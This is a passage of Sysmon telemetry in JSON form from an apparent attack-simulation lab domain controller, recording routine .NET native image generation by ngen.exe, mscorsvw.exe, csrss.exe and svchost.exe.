C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:07.651","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42E3-5F2D-0000-0010E5320E00}","TargetProcessId":"4388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7793,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:07.651\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42E3-5F2D-0000-0010E5320E00}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:07.651","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42E3-5F2D-0000-0010E5320E00}","TargetProcessId":"4388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7794,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:07.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42FB-5F2D-0000-00103CF90E00}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:07.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42FB-5F2D-0000-00103CF90E00}","TargetProcessId":"4388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7795,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:07.838\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42FB-5F2D-0000-00103FFD0E00}\r\nTargetProcessId: 2864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:07.838","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42FB-5F2D-0000-00103FFD0E00}","TargetProcessId":"2864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7796,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:07.838\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42FB-5F2D-0000-00103FFD0E00}\r\nTargetProcessId: 2864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:07.838","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42FB-5F2D-0000-00103FFD0E00}","TargetProcessId":"2864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7797,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:07.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42FB-5F2D-0000-00103FFD0E00}\r\nTargetProcessId: 2864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:07.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42FB-5F2D-0000-00103FFD0E00}","TargetProcessId":"2864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7798,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:08.947\r\nProcessGuid: {90617006-42FB-5F2D-0000-00103FFD0E00}\r\nProcessId: 2864\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\b30-0\\System.Printing.dll\r\nCreationUtcTime: 2020-08-07 12:03:08.947","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:08.947","ProcessGuid":"{90617006-42FB-5F2D-0000-00103FFD0E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\b30-0\\System.Printing.dll","CreationUtcTime":"2020-08-07 12:03:08.947","EventReceivedTime":"2020-08-07 12:03:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7799,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:09.104\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42E6-5F2D-0000-001088460E00}\r\nTargetProcessId: 4556\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:09.104","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42E6-5F2D-0000-001088460E00}","TargetProcessId":"4556","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7800,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:09.104\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42E6-5F2D-0000-001088460E00}\r\nTargetProcessId: 4556\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:09.104","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42E6-5F2D-0000-001088460E00}","TargetProcessId":"4556","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7801,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:09.151\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42FD-5F2D-0000-0010BD020F00}\r\nTargetProcessId: 4556\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 